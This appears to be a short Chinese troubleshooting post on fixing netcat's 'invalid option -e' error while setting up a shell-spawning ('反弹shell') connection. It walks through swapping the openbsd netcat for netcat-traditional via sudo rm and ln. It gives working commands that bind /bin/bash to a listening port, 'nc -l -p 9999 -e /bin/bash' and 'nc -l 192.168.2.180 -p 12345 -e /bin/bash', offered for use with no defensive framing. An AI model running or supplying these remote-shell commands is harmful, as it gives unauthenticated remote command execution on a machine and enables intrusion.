nc: invalid option - 'e'错误解决办法,nc:invalid option --z

nc反弹shell的时候出现错误

nc: invalid option — ‘e’

This is nc from the netcat-openbsd package. An alternative nc is available

in the netcat-traditional package.

以下是修复思路

$ which nc

/bin/nc

$ ls -ld /bin/nc

lrwxrwxrwx 1 root root 20 10月 24 2012 /bin/nc -> /etc/alternatives/nc

$ ls -ld /etc/alternatives/nc

lrwxrwxrwx 1 root root 19 2月 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional

实际上我们要找的这是个文件 /bin/nc.traditional :

$ /bin/nc.openbsd -l -p 9999 -e /bin/bash

/bin/nc.openbsd: invalid option -- 'e'

usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]

[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]

[-x proxy_address[:port]] [hostname] [port[s]]

$ /bin/nc.traditional -l -p 9999 -e /bin/bash

^C

$

结合以上的输出消息，我们可以通过下面这段命令修复:

$ sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc

修复后再试试，没错误提示就shell反弹成功!

$ nc -l 192.168.2.180 -p 12345 -e /bin/bash